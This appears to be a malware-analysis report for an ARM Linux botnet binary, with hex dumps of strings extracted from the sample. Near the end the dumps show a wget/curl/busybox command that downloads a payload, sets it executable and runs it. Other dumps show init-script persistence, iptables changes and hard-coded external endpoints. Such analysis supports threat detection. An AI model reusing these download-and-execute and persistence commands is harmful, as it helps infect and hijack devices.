Hostile ^100% Download

1fab9a6b46b3a971d2cbc502eb40136bd40a91172a33a9bc7a5b5aff8f629436

C2, persistence, obfuscation, malware

BusyBox invoked with bot marker nameMalformed ELF header or section headers:

SHA-2561fab9a6b46b3a971d2cbc502eb40136bd40a91172a33a9bc7a5b5aff8f629436

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₆(As₂C₅Er₂I₂LaP₃)H₆(Cm₁₈F₁₅Db₄Os₂Po₃U₄)Md₃(ArBi₂)Th

Evidence

ARM architecture from ELF header bytes 0x0–0x180

0x07f454c46010101000000000000000000.ELF............
0x1002002800010000009481000034000000..(.........4...
0x2050b00400020000043400200005002800P.......4. ...(.
⋯7 more rows
0xa004100500000000000800000004000000................
0xb00400000051e574640000000000000000....Q.td........
0xc000000000000000000000000007000000................
0xd0040000000dc0a0e1f0df2de904b04ce2..........-...L.
⋯11 more rows

Native S-number init script 0x35408–0x35688

⋯3 more rows
0x354382e736800257325732573257300000000.sh.%s%s%s%s....
0x3544823212f62696e2f73680000002f6d6e74#!/bin/sh.../mnt
0x354582f6a666673322f776966692e73680000/jffs2/wifi.sh..
⋯4 more rows
0x354a800000000727700002f6465762f000000....rw../dev/...
0x354b86d74640077620000726200002f62696emtd.wb..rb../bin
0x354c82f7368002f62696e2f62617368000000/sh./bin/bash...
0x354d82f6574632f72632e642f00002f657463/etc/rc.d/../etc
0x354e82f7263532e642f002573257325732573/rcS.d/.%s%s%s%s
0x354f825730000232100002f6574632f696e69%s..#!../etc/ini
0x35508742e642f533935626162792e73680000t.d/S95baby.sh..
0x3551869707461626c6573202d4920494e5055iptables -I INPU
⋯12 more rows
0x355e8524f50002f7573722f6c6f63616c2f63ROP./usr/local/c
0x355f874000000726d202f686f6d652f687474t...rm /home/htt
0x3560870642f7765625f7368656c6c5f636d64pd/web_shell_cmd
0x356182e676368000000006563686f2033203e.gch....echo 3 >
⋯7 more rows

External IPv4 endpoint string in ELF 0x35d18–0x35fc8

0x35d186174202d7020756470202d2d73706f72at -p udp --spor
0x35d2874202564202d6a204143434550540000t %d -j ACCEPT..
0x35d38302e302e302e30005b6964705d0000000.0.0.0.[idp]...
0x35d4854686973206e6f646520646f65736e27This node doesn'
0x35d58742061636365707420616e6e6f756e63t accept announc
⋯6 more rows
0x35dc861636b65722e64656269616e2e6f7267acker.debian.org
0x35dd83a363838310000003231322e3132392e:6881...212.129.
0x35de833332e35393a36383831000038322e3233.59:6881..82.2
0x35df832312e3130332e3234343a363838310021.103.244:6881.
0x35e083133302e3233392e31382e3135393a36130.239.18.159:6
0x35e183838310038372e39382e3136322e3838881.87.98.162.88
0x35e283a36383831004e665a8f80c8ac238dac:6881.NfZ....#..
0x35e384706d54f6f7e4d6ec63bf08c8faa85e7G..Oo~Mn.;......
⋯11 more rows
0x35ef866756e6374696f6e2054696d656f7574function Timeout
0x35f082829207b20646f63756d656e742e6c6f() { document.lo
0x35f18636174696f6e2e68726566203d20646fcation.href = do
0x35f2863756d656e742e55524c202b20287e64cument.URL + (~d
⋯10 more rows

BusyBox invoked with bot marker name 0x370c0–0x37370

⋯5 more rows
0x37110faffbe90eb6c50a4f7a3f9bef27871c6.....lP......xq.
0x37120414c410c414a434c45474f470c414d4fALA.AJCLEGOG.AMO
0x3713022000000223500005047524d50560c41"..."5..PGRMPV.A
0x371404a434c45474f470c414d4f2200000000JCLEGOG.AMO"....
0x3715099c700004e4b5156474c4b4c45025657....NKQVGLKLE.VW
0x371604c1222004a56565251180d0d5b4d5756L.".JVVRQ...[MWV
0x37170570c40470d46735516551b75457a4173[email protected]
0x37180220000000d52504d410d22000d475a47"....RPMA."..GZG
⋯4 more rows
0x371d0646e6d6d662200006e6d6e6c6d657664dnmmf"..nmnlmevd
0x371e06d2200007e5a171a7e5a16667e5a1667m"..~Z..~Z.f~Z.g
0x371f07e5a16677e5a16117e5a17127e5a1614~Z.g~Z..~Z..~Z..
0x372007e5a101022000000584d4e4e43504622~Z.."...XMNNCPF"
0x37210000000006567766e6d61636e6b722200....egvnmacnkr".
0x37220514a474e4e220000474c43404e472200QJGNN"..GLC@NG".
0x37230515b5156474f2200514a22000d404b4cQ[QVGO".QJ"..@KL
0x372400d4057515b404d5a026f6b70636b2200.@WQ[@MZ.okpck".
0x372506f6b70636b18024352524e4756024c4dokpck..CRRNGV.LM
0x372605602444d574c4622000000004c414d50V.DMWLF"....LAMP
0x3727050474156220000000d404b4c0d405751PGAV"....@KL.@WQ
0x372805b404d5a02525122000000000d404b4c[@MZ.RQ".....@KL
0x372900d4057515b404d5a02494b4e4e020f1b.@WQ[@MZ.IKNN...
0x372a00222000076714d5750414702674c454b."..vqMWPAG.gLEK
0x372b04c4702735747505b220000000d475641LG.sWGP["....GVA
0x372c00d5047514d4e540c414d4c4422000000.PGQMNT.AMLD"...
0x372d04c434f47514750544750022200000000LCOGQGPTGP."....
0x372e0614d4c4c4741564b4d4c180249474752aMLLGAVKML..IGGR
⋯9 more rows

Native binary embeds download then chmod 0x379f9–0x37b79

⋯3 more rows
0x37a29616d650000000070617373000000003eame....pass....>
0x37a392f7661722f72756e2f2e782626636420/var/run/.x&&cd 
0x37a492f7661722f72756e3b3e2f6d6e742f2e/var/run;>/mnt/.
0x37a597826266364202f6d6e743b3e2f757372x&&cd /mnt;>/usr
0x37a692f2e7826266364202f7573723b3e2f64/.x&&cd /usr;>/d
0x37a7965762f2e7826266364202f6465763b3eev/.x&&cd /dev;>
0x37a892f6465762f73686d2f2e782626636420/dev/shm/.x&&cd 
0x37a992f6465762f73686d3b3e2f746d702f2e/dev/shm;>/tmp/.
0x37aa97826266364202f746d703b3e2f766172x&&cd /tmp;>/var
0x37ab92f2e7826266364202f7661723b726d20/.x&&cd /var;rm 
0x37ac92d726620693b7767657420687474703a-rf i;wget http:
0x37ad92f2f25733a25642f69207c7c6375726c//%s:%d/i ||curl
0x37ae9202d4f20687474703a2f2f25733a2564 -O http://%s:%d
0x37af92f69207c7c2f62696e2f62757379626f/i ||/bin/busybo
0x37b0978207767657420687474703a2f2f2573x wget http://%s
0x37b193a25642f693b63686d6f642037373720:%d/i;chmod 777 
0x37b2969207c7c286370202f62696e2f6c7320i ||(cp /bin/ls 
0x37b3969693b63617420693e6969202626726dii;cat i>ii &&rm
0x37b4920693b637020696920693b726d206969 i;cp ii i;rm ii
0x37b59293b2e2f693b2f62696e2f6275737962);./i;/bin/busyb
0x37b696f78206563686f202d6520272573270dox echo -e '%s'.
0x37b790a                              .               